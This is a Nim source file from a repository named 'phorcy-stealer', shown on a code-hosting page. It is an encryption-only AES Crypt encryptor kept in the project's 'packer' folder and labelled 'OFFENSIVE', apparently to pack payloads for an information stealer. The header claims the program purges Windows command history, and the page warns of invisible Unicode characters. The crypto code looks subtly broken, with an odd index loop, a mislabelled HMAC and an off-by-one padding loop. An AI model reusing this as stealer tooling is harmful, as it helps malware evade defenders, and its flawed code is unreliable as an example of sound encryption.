Files
phorcy-stealer/elinethingz/security/packer/OFFENSIVEencfile.nim

232 lines
7.1 KiB
Nim
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# _____ ___ ____ ____ _____ ____ ____ _____ _____
# |_ _/ _ \| _ \ / ___|| ____/ ___| _ \| ____|_ _|
# | || | | | |_) | \___ \| _|| | | |_) | _| | |
# | || |_| | __/ ___) | |__| |___| _ <| |___ | |
# |_| \___/|_| |____/|_____\____|_| \_\_____| |_|
# OFFENSIVEencfile.nim
# Modified version of the original "encfile.nim".
# This fork will be only supports encryption and not decryption.
# However, it encodes all information necessary to decrypt using "encfile.nim"
# It has no error handling. Good luck. In case of problem, check your password length.
# - Eline.
# Decryption HAS been tested as of 28 November 2023 (initial release).
# TODO: use sysargs to encrypt files :p
# i.e ./offensiveencfile input output password
# or maybe only get password interactively. hmm...
# WARNING:
# This program purges command history on Windows.
import nimcrypto
import std/sysrand
import std/streams
const
# default encryption/decryption buffer size - 64KB
bufferSizeDef = 64 * 1024
# maximum password length (number of chars)
# AES block size in bytes
AESBlockSize = 16
# password stretching function
proc stretch(passw: string, iv1: array[16, byte]): array[32, byte] =
var digest: array[32, byte]
copyMem(addr digest[0], unsafeAddr iv1[0], len(iv1))
var passwBytes: array[1024, byte]
copyMem(addr passwBytes[0], unsafeAddr passw[0], len(passw))
for i in 1 .. 8192:
var sha: sha512_256
sha.init()
sha.update(digest)
sha.update(passwBytes[0..len(passw)-1])
digest = sha.finish().data
return digest
# encrypt binary stream function
# arguments:
# fIn: input binary stream
# fOut: output binary stream
# passw: encryption password
# bufferSize: encryption buffer size, must be a multiple of
# AES block size (16)
# using a larger buffer speeds up things when dealing
# with long streams
proc encryptStream*(fIn: Stream, fOut: Stream, passw: string, bufferSize: int) =
# validate bufferSize
if bufferSize mod AESBlockSize != 0:
raise newException(OSError, "Buffer size must be a multiple of AES block size.")
# generate external iv (used to encrypt the main iv and the
# encryption key)
# let iv1 = urandom(AESBlockSize)
let initIv1 = urandom(AESBlockSize)
var iv1: array[16, byte]
for i in [0..15]:
iv1[i]=initIv1[i]
# stretch password and iv
let key = stretch(passw, iv1)
# generate random main iv
var iv0 = urandom(AESBlockSize)
# generate random internal key
var intKey = urandom(32)
# instantiate AES cipher
var encryptor0: CBC[aes256]
encryptor0.init(intKey, iv0)
# instantiate HMAC-SHA256 for the ciphertext
var hmac0: HMAC[sha512_256]
hmac0.init(intKey)
# instantiate another AES cipher
var encryptor1: CBC[aes256]
encryptor1.init(key, iv1)
# encrypt main iv and key
var plainText = newString(len(iv0)+len(intKey))
var c_iv_key = newString(len(iv0)+len(intKey))
copyMem(addr plainText[0], unsafeAddr iv0[0], len(iv0))
copyMem(addr plainText[0+len(iv0)], unsafeAddr intKey[0], len(intKey))
encryptor1.encrypt(plainText, c_iv_key)
# calculate HMAC-SHA256 of the encrypted iv and key
var hmac1: HMAC[sha512_256]
hmac1.init(key)
hmac1.update(c_iv_key)
# write header
fOut.write("AES")
# write version (AES Crypt version 2 file format -
# see https://www.aescrypt.com/aes_file_format.html)
fOut.write([byte 2])
# reserved byte (set to zero)
fOut.write([byte 0])
# setup "CREATED-BY" extension
var cby = "Confidential "
# write "CREATED-BY" extension length
fOut.write([byte 0, cast[uint8](1+len("CREATED_BY")+len(cby))])
# write "CREATED-BY" extension
fOut.write("CREATED_BY")
fOut.write([byte 0])
fOut.write(cby)
# write "container" extension length
fOut.write([byte 0, 128])
# write "container" extension
for i in 1 .. 128:
fOut.write([byte 0])
# write end-of-extensions tag
fOut.write([byte 0, 0])
# write the iv used to encrypt the main iv and the
# encryption key
fOut.write(iv1)
# write encrypted main iv and key
fOut.write(c_iv_key)
# write HMAC-SHA256 of the encrypted iv and key
fOut.write(hmac1.finish())
var fs16 = 0
# encrypt file while reading it
var fdata = newString(bufferSize)
var cText = newString(bufferSize)
while true:
# try to read bufferSize bytes
let bytesRead = fIn.readData(addr fdata[0], bufferSize)
# check if EOF was reached
if bytesRead < bufferSize:
# file size mod 16, lsb positions
fs16 = bytesRead mod AESBlockSize
# pad data (this is NOT PKCS#7!)
# ...unless no bytes or a multiple of a block size
# of bytes was read
var padLen: int
if bytesRead mod AESBlockSize == 0:
padLen = 0
else:
padLen = 16 - bytesRead mod AESBlockSize
# todo handl the pading to get the nb AES block & file with padLen, restrict the input of encrypt to x block
# fdata += bytes([padLen])*padLen
for i in bytesRead..bytesRead+padLen:
fdata[i]=cast[char](padLen)
# encrypt data
encryptor0.encrypt(fdata[0..bytesRead+padLen-1], cText)
# update HMAC
hmac0.update(cText[0..bytesRead+padLen-1])
# write encrypted file content
fOut.write(cText[0..bytesRead+padLen-1])
break
# ...otherwise a full bufferSize was read
else:
# encrypt data
encryptor0.encrypt(fdata, cText)
# update HMAC
hmac0.update(cText)
# write encrypted file content
fOut.write(cText)
# write plaintext file size mod 16 lsb positions
fOut.write(cast[uint8](fs16))
# write HMAC-SHA256 of the encrypted file
fOut.write(hmac0.finish())
# encrypt file function
# arguments:
# infile: plaintext file path
# outfile: ciphertext file path
# passw: encryption password
# bufferSize: optional buffer size, must be a multiple of
# AES block size (16)
# using a larger buffer speeds up things when dealing
# with big files
# Default is 64KB.
proc encryptFile*(infile: string, outfile: string, passw: string, bufferSize: int = bufferSizeDef) =
try:
let fIn = newFileStream(infile, mode = fmRead)
defer: fIn.close()
let fOut = newFileStream(outfile, mode = fmWrite)
defer: fOut.close()
encryptStream(fIn, fOut, passw, bufferSize)
except CatchableError:
let
e = getCurrentException()
msg = getCurrentExceptionMsg()
echo "Inside checkIn, got exception ", repr(e), " with message ", msg
#encryptFile("dza.png", "file.aes", "long-and-random-password", 1024)
#decryptFile("file.aes", "fileDecrypt.png", "long-and-random-password", 1024)